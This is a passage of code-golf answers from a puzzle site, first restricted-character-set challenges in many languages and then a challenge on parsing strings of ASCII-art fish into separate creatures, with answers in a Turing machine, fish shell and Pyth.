Moving `e#` to the front comments out the entire line. ## 2. I/O (14 bytes) ``` 9`)ZH*+~):Q(Q) ``` Dennis saved 8 bytes. Explanation: ``` 9` Push "9". ) Extract character '9'. ZH* Push 3 * 17 = 51. + Add to get character 'l'. ~ Eval as CJam code. Command l reads a line. ) Extract the only character from the input line :Q( Assign to Q and decrement Q) Push Q and increment ``` ## 3. Branchability (26 bytes) ``` 4`)4Z|`I!`|~^~~T$AT$*%H(=+ ``` Explanation: ``` 4`) Push character '4' 4Z|` Push 4 | 3 = 7, stringify I!` Push !18 = 0, stringify |~ Setwise or and eval to get 70 ^ XOR to get 'r' ~ Eval to read input ~ Eval the input as CJam code to turn it into an integer T$ Duplicate it A Push 10 T$* Duplicate that and multiply → 100 % Mod the copy by 100 H(= Compare to 17 - 1 = 16 + Add the result (1 or 0) to the original ``` I’ll look at the others later. (**EDIT**: I doubt they’re possible, without block or string literals… maybe the math one?) [Answer] # J, score 71 + (74 - 19) = 126 ## Task 1, length 71 ``` AHILO=:( |T`T`Z`e`e`f`m`p`x`y|.~~%~@{|~^|Q@Q@Q+.*.449!~!~!~!!#$$&1\\~~) ``` This defines a verb `AHILO` to be the inside. Unused: ``` ))) ``` I don't think there's any way to get longer than this. ## Task 3, length 19 ``` +($#~$~4)=1e4|&%:*~ ``` The way to do this task with no restrictions is `+16=100|]`, which reads as follows: ``` ] Input 100| mod 100 16= equals 16? (Evaluates to 1 or 0) + Add to input. ``` We have `+`, `=` and several copies or `|` in our disposal, and it's easy to get around `]`, but the numbers are more problematic. Here's the first part that computes input modulo 100: ``` 1e4|&%:*~ *~ Input squared (multiplied with itself). 1e4 The number 10000. | Perform modulo & on %: their square roots. ``` After we're done with that, let's produce the number 16. The easy way is with `*~4` (4 multiplied with itself), but we already used `*` so that's forbidden. Instead, we'll do some array manipulation. ``` ($#~$~4) $~4 Reshape 4 to shape 4, resulting in the array 4 4 4 4. #~ Replicate wrt itself: replace each 4 by four 4s. $ Take length. ``` ## Work ### 2 This is most definitely impossible. The only ways to manipulate character values are `a.` and `u:`, and we have access to neither. Now, if we could use `a` instead of, say, `A`, then this would be a solution: ``` Q{~(*^.4%9 1)+I.~&Q=:a. ``` The hardest part to getting this to work was producing the number -1. ``` Q{~(*^.4%9 1)+I.~&Q=:a. a. The array of all bytes. Q=: Bind it to Q I.~& and find the input's index in it. ( )+ Add the following array: * Signum of ^. logarithm of 4% 4 divided by 9 1 the array 9 1. This evaluates to -1 1. Q{~ Index back into Q. ``` ### 4 ``` (*.1:"|~@+.) ``` This generates the shape of the husk, but I can't seem to find a way to generate characters. Alas. ### 5 Admittedly, this seems like the easiest of the tasks to do in J. However, without `i.`, this will be quite hard. ### 6 This is likely impossible without a fake-out quine like `449` or something like that, because the capsule string doesn't contain quotes or any other way of producing J strings. [Answer] # [PowerShell](https://github.com/PowerShell/PowerShell) - Total Score: 74 ## 1. Run - Score: 74 ``` #~= `TeQ.)`~H|$QL4yA)\*`!^O$1)!Z`!`~|\`&T@!x+e(f|Q`.|!4%.{~`:~~)m@~`@p~I9~ ``` --- Since this is extremely difficult in PowerShell (every possible method of obtaining input is impossible with the characters given, as far as I can tell), I've at least decided to randomize the first challenge so we're not all copying the example directly from the post. So here's a random challenge 1 answer generator (for languages where `#` is a comment): ``` '#'+$(-join([char[]]' !!!!!$$%&())))*+...1449:=@@@AHILOQQQTTZ\\^`````````eefmpxy{||||~~~~~~~~~'|Get-Random -Count 73)) ``` # [Try it online!](https://tio.run/nexus/powershell#@6@urK6toqGblZ@ZpxGdnJFYFB0bq66gCAIqKqpqGppAoKWtp6dnaGJiaWXr4ODg6OHp4x8YGBgSEhUTE5cAA6mpabkFFZXVNUBQBwPqNe6pJbpBiXkp@bkKus75pXklCubGmpr//wMA "PowerShell – TIO Nexus") [Answer] ## [memes](https://github.com/ineternet/memes), score of (~~62~~ 65 + 70) 135 **1: Run** I removed all backticks (```) and mathematical operators. They conflicted because there weren't enough numbers to satisfy every unary and binary operator. *I left some in, resulting in +3 bytes*. Resulting program: ``` !!!!!#$$%&())))...+1^4*49:=@@@AHILOQQQTTZ\\eefmpxy{||||~~~~~~~~~ ``` I have no idea why and how this worked. Atleast it doesn't throw any C# runtime exception, and doesn't therefore crash. **6: Quine** You know, if there would've been an `-` or lowercase `q` somewhere in those 74 characters, this would be way too easy. I'm glad for the `I` operator, atleast. ``` 1/4I ``` This code isn't exactly obvious. Here's an explanation: ``` 1 Set object to 1 (1) /4 Divide by 4 (0.25) I Set object to a fraction string. (1/4) ``` Fraction strings (e.g. `1/4`) are displayed with an I at the end, to indicate exactly that. The `I` operator is usually useless, I added it for other means, but hey, it works like this! Above code is invalid. Stupid me didn't see that the 74 characters don't contain a single division operator, forwardslash (`/`). I came up with something else though: ``` True ``` Explanation: ``` T Set object to "true" (bool value) rue None of these are valid tokens, so they don't get interpreted. ``` Outputs `True` (because of how the way C# handles `Boolean.ToString()` uppercase and not lowercase). Not sure if this is a proper quine, meanwhile I'm still cracking my head for a valid, really proper, and intuitive one. Could maybe also solve I/O and Math challenge, but I'm missing specific tokens (characters) which aren't included in the 74 characters. [Answer] # Brainfuck, 74 bytes ``` H@~*^)$.`~+1A|Q)p~`\Z!IQ~e:O.~@``#|9@)Tf\eT`=(!``|`~!y!`) Q~$x.4|m4~~&!L{% ``` I just had to. # Explanation: Any character that is not a valid Brainfuck character is treated as a comment. The only code that actually gets run is this: ``` .+.. ``` This produces no printable output, since neither 0 nor 1 are printable characters in ASCII. However, it does not cause an error, so we successfully complete the first challenge. [Answer] # Mathematica, score of 62 I'd be surprised if anyone can make challenges 2-6 work in Mathematica. Here's the best I did with challenge 1: ``` A:=1.`!#&@(4`+4.`*9.`^$$H~I~L~O~Q~Q~Q~T~T||Z||e@@efmpxy%)!!!! ``` Defines a pretty stupid function `A` with a constant value. The 12 unused characters are: ``` )))\\`````{~ ``` [Answer] # Octave, score 74 ### 1. Run ``` x =@(AHILOQQQTTZeefmpy)+.1||!!!!!~~~~~~~~~4.^.4||9%#$$)))*@@\`````````{\&: ``` 50 of these characters are part of the function, while the remaining 24 are not. **What it does:** `x =@(AHILOQQQTTZeefmpy)` creates a function `x` that can take a variable `AHILOQQQTTZeefmpy` as input. **To understand the rest:** `a||b` calls the function `all()` on both `a` and `b`. If one or both of those return true, the `||` operator will return true. `!a` and `~a` means the same thing here, they are both `not(a)`. `a.^b` is an element-wise power `(a(1)^b(1), a(2)^b(2) ...)` **Continued explanation** I'll shorten each of the steps as I go along: ``` 4.^.4||9 % This is 4 raised to the power of .4||9 % .4||9 is true, since both .4 and 9 are true % true is evaluated to 1 when used in an expression ... % 4 raised to the power of 1 is simply 4. 4 % The above expression simplified ``` And: ``` !!!!!~~~~~~~~~4 % ! and ~ are the not() operator, so this is equivalent to: not(not(not(not(not(not(not(not(not(not(not(not(not(not(4)))))))))))))) ``` There is an even number of `not`, so this is equivalent to `not(not(4))` which is `true` or `1`. ``` +.1||1 % This is equivalent to all(+.1) | all(1), which returns true ``` The rest is commented out. [Answer] # [\*><>](https://esolangs.org/wiki/Starfish), total score = 74 ## 1. Run, score 74 ``` f:4%*e+e14=p!Q H@~^)$.`~A|Q)~`\ZI~O.~@``#|9@)T\T`(!``|`~!y!`)Q~$x.|m~~&!L{ ``` [Try it here!](https://starfish.000webhostapp.com/?script=GYLgLApAVApg1DAjGAvABwIQEUAEAJAAQD8A9ASgBIA6AAyIEEAfLMomgHQC0BJIgeSpECNGgGJGATgJkAKuxk0AFBhGM6GAJ4qyWIhQAeVRgFsiRAGQYAMgG8gA) This was extremely hard to do without the `;` character. I actually thought it was going to be impossible for a couple moments, until I saw the `%`, I had basically given up. This is also a valid ><> program. ### Explained (irrelevant parts omitted) ``` f:4%*e+e14=p!Q f: copy 15 4% pop 15, push 15%4 (3) * pop 15 and 3, push 15*3 (45) e+ pop 45, push 45+14 (59, ascii ";") e push 14 14= push 0 p replace coord (14, 0) with ";" !Q skip Q (this is just filler) ; end execution ``` ## Challenges faced I might try the other challenges ... they'd be extremely hard and may involve bending the rules in weird ways but liberal use of the `|` mirrors and the `!` trampolines should make at least one more challenge possible. These challenges are particularly hard because we're not allowed any outputs with \*><> (`o` and `n`), or even function calls (`C`), function returns (`R`), or program terminators (`;`). Even though we're also missing `i` for input, we can still have input placed on the stack which is a plus. Another plus is that we get a single `p` instruction, which allows us to replace an instruction in the codebox. This might be able to be used multiple times (haven't figured out a practical way yet), which would start to make the other programs seem more possible (as we'd be able to generate two or more instructions). [Answer] # Haskell, score 63 ### 1. Run: ``` (!!!!!#$$%&*+...:@@@\\^||||~~~~~~~~~)fmpxyAHILOQQQTTZ e=14`e`49 ``` Not used are `)))```````{`. Comments in Haskell are `--` or `{- ... -}`, so there is no easy all-comment version. This code defines an infix operator `!!!!!#$$%&*+...:@@@\^||||~~~~~~~~~` which takes two arguments: 1. `fmpxyAHILOQQQTTZ` which is ignored and can therefore be of an arbitrary type 2. `e`, which must be a function taking two numbers In the function body `e` is then applied to 14 and 49, using the ```-infix notation. *Usage example:* ``` Prelude> () !!!!!#$$%&*+...:@@@\\^||||~~~~~~~~~ (*) 686 ``` The operator is applied to `()`, the empty tuple, and `(*)`, the multiplication operator, so `14*49 = 686` is computed. [Try it online!](https://tio.run/nexus/haskell#y03MzFOwVSgoLQkuKdIrzsgvV1BR0NBUUAQBZRUVVTUtbT09PSsHB4eYmLgaIKiDAQUNbc3/GkQo1EzLLaiodPTw9PEPDAwMCYlSSLU1NElITTCx/P8fAA "Haskell – TIO Nexus") ### Other challenges I doubt that any of the other challenges are possible, most notably because of the lack of possible variable names that can appear twice, which is only `e` (or something like `eQT`), because variable names can't start with an uppercase letter. Of course, having only one `=` doesn't help either. [Answer] # Pyth, 131 for now (2 challenges complete) ## 1. Run, 74 ``` # `````````!!!)!)!)*$AOeIefLmpxQ|Q|y|Q|~~~~~~~~~()${+%&\=@@@^\:.1.4.49TTZH ``` This program takes no input and creates no output. This program uses `$$`, which allows arbitrary code execution, and so is banned online, so this program online runs offline. Here's its compilation output, so you can see what actually gets run: ``` while True: try: (repr(repr(repr(repr(repr(repr(repr(repr(repr(Pnot(Pnot(Pnot())))))))))))) imp_print(Pnot()) imp_print(Pnot()) imp_print(times(AOeIefLmpxQ|Q|y|Q|~~~~~~~~~(),uniquify(plus(mod(("=" and lookup(lookup(lookup(Ppow(":",.1),.4),.49),T)),T),Z)))) imp_print(H) except Exception: break ``` It's fairly tricky to write a program with arbitrary characters that doesn't error in Pyth. I set myself the additional challenge of requiring that the program run without requiring user input, as well. The first step is to use `#` to eat all of the errors. Next, we need to avoid errors caused by `~`, `I` and `L`, which each have their own details. This is achieved by putting them inside the `$$`, which embeds them inside the output compilation, and thus subjects them to Python's compilation rules, not Pyth's. Finally, to avoid taking user input, the various arity 0 tokens (Variables and similar) are placed at the end, and the `Q`s are moved inside the `$$` block. # 2. IO This will be incredibly difficult, if it's even possible. None of the Pyth functions that create arbitrary strings or characters are present except `.f`, and that does a really poor job of creating arbitrary characters. # 3. Branchability: 74 - 17 = 57 ``` |&x%Q*TTye|LZ9Q+1 ``` [Try it online](https://pyth.herokuapp.com/?code=%7C%26x%25Q%2aTTye%7CLZ9Q%2B1&test_suite=1&test_suite_input=2016%0A16%0A116%0A1616%0A6%0A15%0A17%0A106%0A2106&debug=0) An equivalent Pyth program would be: ``` ?n%Q100 16Q+1 ``` This code takes the input mod 100, compares it to 16, and then uses a ternary to choose between the input and the input plus one. Due to character restrictions, I made some substitutions: * Instead of `?`, the ternary, I used `|&`, `or` then `and`, which has the same functionality, except that it breaks if the input is zero, but since we're guaranteed positive integer input, it's fine. (This could have been fixed for no additional characters, but it's simpler this way.) * Instead of directly comparing the two numbers, I take their XOR with `x`, which is zero if and only if they're equal, as desired. * Instead of writing `100` directly, I generate it with `*TT`, since `T` is initialized to `10`. * Instead of writing `16` directly, I generate it with `ye|LZ9`. `|LZ` essentially functions as the range function, so `|LZ9` gives `[0, 1, 2, 3, 4, 5, 6, 7, 8]`. `e` takes the final element of a list, giving `8`. `y` doubles it, giving `16` as desired. With an extra `+` or an extra `*` I could save a character, but they're both more useful elsewhere. More to come! [Answer] ## Ruby - Score: 74 ### 1. Run ``` #H@~*^)$.`~+1A|Q)p~`\Z!IQ~e:O.~@``|9@)Tf\eT`=(!``|`~!y!`) Q~$x.4|m4~~&!L{% ``` Grabbed from the challenge. [Answer] ## JavaScript (ES6), score = 74 ### 1. Run, 74 bytes ``` Z=` !!!!!#$$%())))...1449:@@@\AHILOQQQTT^\`eefmpxy{||||~~~~~~~~~`*``+``&`` ``` ### 6. Esotericism (invalid) For the record, my suggested quine was: ``` 1.4e+49 ``` which turned out to be invalid, as discussed in the comments below. [Answer] # Retina, score 74 ### 1. Run, score 74 ``` )))` !!!!!#$$%&()*.+..1449:=@@@AHILOQQQTTZ\\^````````eefmpxy{||||~~~~~~~~~ ``` I moved the extra parens to the config in order for them to balance in the regex. I also moved the ``` right after those, and changed `+.` to `.+`. [Try it online](https://tio.run/nexus/retina#@6@pqZmgoAgCyioqqmoamlp62np6hiYmlla2Dg4Ojh6ePv6BgYEhIVExMXEJUJCampZbUFFZXQMEdTDw/z8A) The others are likely impossible, since there are no newlines. There's also no `-` for Transliteration or `d` for a digits character class. [Answer] # Pip, score 74 + (74 - 19) = 129 So many backticks with nary a quote to be seen, single or double! ### Task 1, score 74 ``` `` `\``!!!!!`#$$%&())))*+...1449:=@@@ILOQQQTTZ\^efmpx{|||~~~~~~~~~`|`yeAH` ``` Basically just a series of pattern (regex) literals in backticks, the last of which is printed. Since there are an odd number of backticks, we have to backslash-escape one of them (``\```). [Try it online](https://tio.run/nexus/pip#@5@QoJAQk5CgCAIJyioqqmoamkCgpa2np2doYmJpZevg4ODp4x8YGBgSEhUTl5qWW1BRXVNTUwcDCTUJlamOHgn////XLQcA "Pip – TIO Nexus"), with the `-w` flag added to prove that no warnings are generated. ### Task 3, score 55 (length 19) ``` e+!!e%(1.#x.!9)=4*4 ``` Using a rather odd input method--the fifth command-line argument--this is possible. [Try it online!](https://tio.run/nexus/pip#@5@qraiYqqphqKdcoadoqWlromXyHwKMDAzNAA "Pip – TIO Nexus") ``` e is 5th cmdline arg; x is empty string 1.#x.!9 Concatenate 1, 0 (length of x), and 0 (not 9) e%( ) e mod 100... =4*4 ... equals 16? !! Logically negate twice e+ Add to e (+1 if number mod 100 is 16, +0 otherwise) Expression is autoprinted ``` ### Other tasks It's possible to get input for **task 2**, by the same method as task 3 above. The trouble is converting to ASCII code and back to a character. The former can be done with `A`, but the latter requires `C`, or possibly indexing into the `PA` variable. Constructing and evaluating code can't be done without `V`. I don't think the task is possible. **Task 4** is challenging even without a restricted character set. At a guess, it would require lists (without using the `[]` delimiters or `RL` (repeat list) and only having one chance to use `AL` (append list)--not likely) or possibly something with `CG` (coordinate grid) or `MC` (map coords), both disallowed. **Task 5** is on the edge of possibility. Loops would be difficult, since `F`or and `M`ap aren't possible, and ranges can't be constructed with `,`. There might be something to be done with `T`ill. Increment could be of the `x:x+1` variety (obviously with a variable other than `x`, though). Divisibility checks can use `%`. Still, I don't think there are enough characters--especially repeated letters--to do everything that needs to happen. **Task 6** looks completely impossible. All known Pip quines have `"` in them. They also use `R` (replace), `RP` (repr), or `V` (eval), none of which are available. [Answer] # Actually, score (74 + *0* + *0* + *0* + *0* + *0*) = 74 Yes, the capsule string will work with Actually as it is for Run, as Actually dismisses any errors and every error becomes a NOP. `H@~*^)$.`~+1A|Q)p~`\Z!IQ~e:O.~@`#|9@)Tf\eT`=(!`|`~!y!`) Q~$x.4|m4~~&!L{%` ([Try it online!](https://tio.run/nexus/actually#@@/hUKcVp6mil1CnbehYE6hZUJcQE6XoGViXauWvV@eQkKBcY@mgGZIWkxqSYKuhmJBQk1CnWKmYoKkQWKdSoWdSk2tSV6em6FOt@v8/AA "Actually – TIO Nexus")) It will output a mess of things, though (but also its source once :3). I'll be working on other challenges, however. [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E) - Total score: 74 ### 1. Run, 74 bytes ``` H@~*^)$.`~+1A|Q)p~`\Z!IQ~e:O.~@``#|9@)Tf\eT`=(!``|`~!y!`) Q~$x.4|m4~~&!L{% ``` Everything that causes an error is skipped by 05AB1E. This whole line of code is a NOP. [Try it online!](https://tio.run/nexus/05ab1e#@@/hUKcVp6mil1CnbehYE6hZUJcQE6XoGViXauWvV@eQkKBcY@mgGZIWkxqSYKuhmJBQk1CnWKmYoKkQWKdSoWdSk2tSV6em6FOt@v8/AA) [Answer] # (abused) PHP, 74 + 74 = 148 ``` H@~*^)$.`~+1A|Q)p~`\Z!IQ~e:O.~@``#|9@)Tf\eT`=(!``|`~!y!`) Q~$x.4|m4~~&!L{% ``` The PHP interpreter simply dumps the source code until it finds a `<?` since we lack `<` every permutation of those chars is a running quine. I guess this is not that worse than using a builtin quine command :P [Answer] # Mathematica, score 68 ``` `A:= .1%*.44y#+.9^`H@`$I@`L@(`$O~`Q~`Q~`Q~`T~T~Z~e~e|f|m|p|x)!!!!!&\ ``` Notice the trailing newline. I do not believe that any of the other challenges can be achieved with Mathematica. [Answer] # Labyrinth, score 74 ``` AH) IL) OQ: `=!)~`{+4.@ !!!$$%&(*..149@@TTZ\\^```eefmpxy||||~~~~~~~~ `Q# `Q) ``! ``` I'm pretty sure any assortment of these characters produces a valid Labyrinth program, but to make it at least slightly more interesting, this prints out `2016` digit by digit. (In summary: push 2 `2`'s on the stack, pop/print one, move the other to the aux stack, print 0, push 2 `1`'s on the stack, pop/print 1, increment, bitwise not, negate (that last `1` is a `3` at this point), sum with the `2` from the aux stack, 5\*10+4 = 54, print as ascii value, terminate) Most of the long line is simply ignored, as the `@` terminates the program. Challenges 2, 3, and 4 are impossible since neither of Labyrinth's input commands are available (`,` or `?`), and I didn't come up with anything for 5 or 6. [Answer] # SmileBASIC, 48 points ### challenge 1: ``` @LOQQQTTZ A$=H$+@efmy+@9414*!exp(!!.||!!.#||I%): ``` explanation: ``` @LOQQTTZ 'label A$= 'set value of A$ (string) H$ 'string +@efmy 'adds label, interpreted as string literal +@9414 'adds label, interpreted as string literal *!exp( 'multiplies by logical not e^x (= 0) !!. 'not not 0.0 (= 0) ||!!.# 'or not not 0.0 converted to a float (= 0) ||I% 'or I% (integer variable) : 'equivalent to a line break, does nothing here ``` ### others: No input/output commands are avaliable, so the rest are not possible. Still, not bad for a real language without using comments. [Answer] # [MATL](https://github.com/lmendo/MATL), total score 74 ## 1. Run, score 74 ``` `4.e4 1.$!!!!!T+Zyf9.)AH^ILx@Q@Q@Qm||||~~~~~~~~~:=Tp*O%#$&()))\\````````e{ ``` Everything up to `%` is actual code. `%` is a comment symbol, so the characters to its right are ignored. The program outputs `1` without errors. [Try it online!](https://tio.run/nexus/matl#@59gopdqomCop6IIAiHaUZVplnqajh5xnj4VDoEgmFsDBHUwYGUbUqDlr6qsoqahqakZE5MABanV//8DAA "MATL – TIO Nexus") [Answer] # bash, score 74 1: Run. We can run all 74 ``` #H@~*^)$.`~+1A|Q)p~`\Z!IQ~e:O.~@``|9@)Tf\eT`=(!``|`~!y!`) Q~$x.4|m4~~&!L{% ``` 6: Esotericism: The empty program is a quine in bash. Without any whitespace characters, nothing else on the list can be accomplished. Ergo, I have the winning bash entry. [Answer] # [Perl 6](http://perl6.org/), total score 74 ## 1. Run, score 74 ``` my @TOTAL=$!||(e*4...9^e)Z+1~4||!!Q`{fp)))\#\&`~Q!```HI````!~Q:x~~~$~@~@~% ``` No comments. (Just putting the `#` at the front to make everything a comment also works, but this is more fun.) ## Work This is the subset of the Perl 6 language that only uses the allowed characters: ``` Constants: e Type names: IO Functions: exp Methods: on type IO: .e .f .x (...probably more.) Operators: | infix: | prefix: -----------+-----------------------+--------- numeric: | + * +^ +| +& % | + +^ string: | ~ x ~^ ~| ~& | ~ boolean: | || ~~ | ! junctions: | | & ^ | misc: | = := Z .. ... | syntax: number literals: 1 4 9 string literals: Q` ` Q! ! etc. shell commands: Q:x` ` Q:x! ! etc. Whatever star: * variables: my \ $ @ & grouping: ( ) comments: # #`( ) unspace: \ ``` The immediate hurdle preventing the challenges 2-6, is that there doesn't seem to be a way to do I/O: * If we assume there's a file called `f`, we could use `Q`f`.IO.e` to check if it exists or `Q`f`.IO.x` to check if it is executable. But we can't read it or write from it. * We could use `Q:x` `` to run a shell command (assuming we find the characters for one). But we can't interpolate anything into, so it would only be good for reading, not writing. * Since there is no closing brace, we can't make a block lambda (e.g. `{1 + $_}`) that automatically returns the value of its last statement. * We *could* use the asterisk to make an expression lambda (e.g. `1+*`), but then we can only take one argument, refer to this argument only once, and are even more limited in the syntax/operators we can use. [Answer] # Vyxal, score 74 ## Run, 74 bytes ``` #H@~*^)$.`~+1A|Q)p~`\Z!IQ~e:O.~@``|9@)Tf\eT`=(!``|`~!y!`) Q~$x.4|m4~~&!L{% ``` [Try it Online!](https://lyxal.pythonanywhere.com?flags=&code=%23H%40%7E*%5E%29%24.%60%7E%2B1A%7CQ%29p%7E%60%5CZ!IQ%7Ee%3AO.%7E%40%60%60%7C9%40%29Tf%5CeT%60%3D%28!%60%60%7C%60%7E!y!%60%29%20Q%7E%24x.4%7Cm4%7E%7E%26!L%7B%25&inputs=&header=&footer=) ## The rest aren't easily possible. [Answer] # [abcn](https://github.com/Muhammad-Salman-01/abcn-language), score 65 The Challenges : # RUN : (73 bytes) ``` H@~*^)$.`~+1A|Q)p~`\Z!IQ~e:O.~@``|9@)Tf\eT`=(!``|`~!y!`) Q~$x.4|m4~~&!L{% ``` ## How it works : Every thing other than `@` (which is for input) is not present in current version of abcn. Note : abcn treats everything save its commands as simple comments so all of it is one big comment the three `@` since we give no output are automatically set to `0`. I can obviously increase the length infinitely by doing nothing but bull but wont do it. (Alternate program down below) (scrapped it since I was 130 bytes in and not even 1/4th of the way done) # I/O : (8 bytes) ``` @agxbbgx ``` ## How it works : ``` @ --> asks for input a --> adds one g --> converts to ASCII x --> prints bb --> b takes back to input second takes back by 1 more so we at input - 1 gx --> converts to ASCII and prints ``` Don't think can do remaining now. Total score : 73 - 8 => 65 [Answer] # Lua, score 31 ## 1. Run (31 of 74 points) ``` AHILOQQQTTZeefmpxy=1.%4+(4.*9.) ``` [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), score 74 ### 1. [Run](https://tio.run/nexus/jelly#@69QAwSKIKCiUgcFcQ62DnWqJiaWVgmpDgmpCYGOHp4@/oGBISFR1TExaQm5CQUJFQmVCWoJWnrKhtp6GppAoPf/PwA), 74 ``` ||||!!!!!$$~~~~~~~~^@=@~%449:`e@`e`QAHILOQQTTZ{\\f`m`p`x`y`&`*.#1+.()))). ``` Not sure how to do any of the others. [Answer] # [///](https://esolangs.org/wiki////#Looping_counter), Score: 146 ## 1. Run, Score: 74 `!!!!!#$$%&())))*+...1449:=@@@AHILOQQQTTZ\\^`````````eefmpxy{||||~~~~~~~~~` ## 6. Quine, Score: 72 `!!!!!#$$%&())))*+...1449:=@@@AHILOQQQTTZ^`````````eefmpxy{||||~~~~~~~~~` Yay, when there aren't any forward or back slashes in the code, it just prints itself. ]
[Question] [ Consider these five ASCII art sea creatures: 1. Standard fish: `><>` or `<><` 2. Speedy fish: `>><>` or `<><<` 3. Sturdy fish: `><>>` or `<<><` 4. Stretchy fish: `><<<>` or `<>>><` 5. Crab: `,<..>,` Write a program that accepts an arbitrary string of the characters `<>,.`. If there is a way to interpret the *entire* string as a series of non-overlapping sea creatures, then the string should be reprinted with single spaces inserted between creatures. If this interpretation is impossible, nothing should be output (the program silently ends). For example, the string `<><><>` can be interpreted as two standard fish back-to-back. The corresponding output would be `<>< ><>`. As another example, the string `><>><>>` contains "instances" of... (brackets only added as indicators) * a couple standard fish: `[><>][><>]>` * a speedy fish: `><[>><>]>` * a sturdy fish in a couple ways: `[><>>]<>>` and `><>[><>>]` however, only the pairing of a standard fish and a sturdy fish `[><>][><>>]` spans the entire length of the string with no fish sharing characters (no overlaps). Thus the output corresponding to `><>><>>` is `><> ><>>`. If there are multiple ways the string could be interpreted, you may print any one of them. (And only print *one* of them.) For example, `<><<<><` can be interpreted as a standard fish and a sturdy fish: `[<><][<<><]`, or as a speedy fish and a standard fish: `[<><<][<><]`. So either `<>< <<><` or `<><< <><` would be valid output. --- The crabs are just for fun. Since they don't start or end with `<` or `>`, they are much easier to identify (at least visually). For example, the string ``` ,<..>,><<<>,<..>,><>,<..>,<>>><,<..>,><>>,<..>,<<><,<..>,<><,<..>,>><> ``` would obviously produce the output ``` ,<..>, ><<<> ,<..>, ><> ,<..>, <>>>< ,<..>, ><>> ,<..>, <<>< ,<..>, <>< ,<..>, >><> ``` --- Here are some examples of strings (one per line) that produce no output: ``` <><> ,<..>,<..>, >>><> ><<<<> , ><><> ,<><>, <<<><><<<>>><>><>><><><<>>><>><>>><>>><>><>><<>< ``` The last string here can be parsed if you remove the leading `<`: ``` <<>< ><<<> >><> ><> ><> <>< <>>>< >><> >><> >><> ><>> <<>< ``` (There may be other possible outputs.) ### Details * The input string will only contain the characters `<>,.`. * The input string will be at least one character long. * Take input in any common way (command line, stdin) and output to stdout. * The shortest code in bytes wins. ([Handy byte counter.](https://mothereff.in/byte-counter)) Tiebreaker is earlier post. [Answer] # Non-deterministic Turing Machine, 20 states, 52 transitions (882 bytes maybe) How do you convert this to bytes? I've written the [files](https://www.dropbox.com/s/hezvu0u1syza2w9/fish-tm.zip?dl=0) (absolutely not golfed) to execute this machine with Alex Vinokur's [Simulator of a Turing Machine](http://alexvn.freeservers.com/s1/turing.html)1. `wc -c` outputs the following (excluding the description file and the input files): ``` 12 alphabet 49 meta 740 rules 81 states 882 total ``` Anyways, I was preparing for my Computer Science A-Levels, so I thought this would be a good exercise (I don't know what I was thinking). So here's the definition: $$\begin{align\*} M & = (Q, \Sigma, \iota, \sqcup, A, \delta) \\ Q & = \{q\_{0},q\_{1},q\_{2},q\_{3},q\_{4},q\_{5},q\_{6},q\_{7},q\_{8},q\_{9},q\_{10},q\_{11},q\_{12},q\_{13},q\_{14},q\_{15},q\_{16},q\_{17},q\_{18},q\_{19}\} \\ \Sigma & = \{< \: ; \: > \: ; \: , \: ; \: . \: ; \: X \: ; \: $\} \\ \iota & = q\_0 \\ \sqcup & = $ \\ A & = \{q\_0, q\_5\} \end{align\*}$$ ![Transition function](https://i.stack.imgur.com/pg8Dw.jpg) *(the transition function)* Excuse the bad image, but I couldn't be bothered with redrawing this thing on a computer. If you actually want to decipher the transition rules, I recommend you read through the rules file I linked above. --- I've used `X`s instead of spaces because spaces are hard to visualize here and the simulator doesn't accept spaces in the alphabet. The concept is fairly simple - q1 to q4 are used to catch right-facing fishes, q11 to q14 are used to catch left-facing fishes, q15 to q19 for crabs and the q5 to q10 blob is simply for inserting a space and moving all following characters one to the right. If the string is interpretable, it accepts the string and the tape contains the string with spaces inserted. Otherwise it rejects the string (I guess this counts as no output - emptying the tape would be pretty easy but would require lots of transition rules and I don't think it would make the transition function prettier to look at). --- *1 Note: It's difficult to compile. I had to edit the `src/tape.cpp` file and replace `LONG_MAX` with `1<<30` and then go to the `demo` directory, edit the Makefile to replace `EXE_BASENAME` with `turing.exe` and execute `make`. Then go to the directory with the files I've written and execute `/path/to/turing/download/src/turing.exe meta`.* [Answer] # fish (yes, that fish), 437 bytes This strikes me as one of those programming tasks where exactly one language is right. ``` #!/usr/bin/fish set the_fishes "><>" "<><" ">><>" "<><<" "><>>" "<<><" "><<<>" "<>>><" ",<..>," set my_fishes function startswith set -l c (echo -n $argv[2]|wc -c) echo $argv[1]|cut -c(math $c+1)- test $argv[2] = (echo $argv[1]|cut -c-$c) end function pickafish set -l fix 1 while true if test $fix -gt (count $the_fishes); return 1; end if not set rest (startswith $argv[1] $the_fishes[$fix]) set fix (math $fix+1) continue end set my_fishes $my_fishes $the_fishes[$fix] if test -z $rest echo $my_fishes exit end if not pickafish $rest set my_fishes $my_fishes[(seq (math (count $my_fishes) - 1))] set fix (math $fix+1) continue end end end pickafish $argv[1] ``` The following version is still the longest answer to the challenge, ``` set t "><>" "<><" ">><>" "<><<" "><>>" "<<><" "><<<>" "<>>><" ",<..>,";set m;function p;set -l i 1;while true;test $i -gt 9; and return 1;if not set r (begin;set c (echo $t[$i]|wc -c);echo $argv[1]|cut -c$c-;test $t[$i] = (echo $argv[1]|cut -c-(math $c-1));end);set i (math $i+1);continue;end;set m $m $t[$i];if test -z $r;echo $m;exit;end;if not p $r;set m $m[(seq (math (count $m)-1))];set i (math $i+1);continue;end;end;end;p $argv[1] ``` but since this was done mostly for the pun (you'll excuse, I hope), better golfing is left as an exercise to the reader. [Answer] # Pyth, ~~64~~ ~~48~~ 50 bytes ``` #jdhfqzsTsm^+msXtjCk2U2"<>"" \r.1"",<..>,"dlzB ``` [Test case.](https://pyth.herokuapp.com/?code=jdhfqzsTsm%5E%2BmsXtjCk2U2%22%3C%3E%22%22%0A%5Cr%12%14%1B%1D.1%22%22%2C%3C..%3E%2C%22dlz&input=%3C%3E%3C%3E%3C%3E) --- Version that doesn't take forever (`O(9n/3)`) [here](https://pyth.herokuapp.com/?code=%23jdhfqzsTsm%5E%2BmsXtjCk2U2%22%3C%3E%22%22%0A%5Cr%12%14%1B%1D.1%22%22%2C%3C..%3E%2C%22dlcz3B&input=%3C%3E%3C%3C%3C%3E%3C&debug=0), in 52 bytes. --- This is the brute force approach, generate all sequences and check whether any sum to the input. Fish diagrams compressed as characters, whose binary representations are the `>` and `<`. The whole thing is wrapped in a try-catch block so that no output occurs when no results are found. This is an `O(9n)` solution. Some characters are stripped above, because control characters are used. They are reproduced faithfully at the link above. xxd output: ``` 0000000: 236a 6468 6671 7a73 5473 6d5e 2b6d 7358 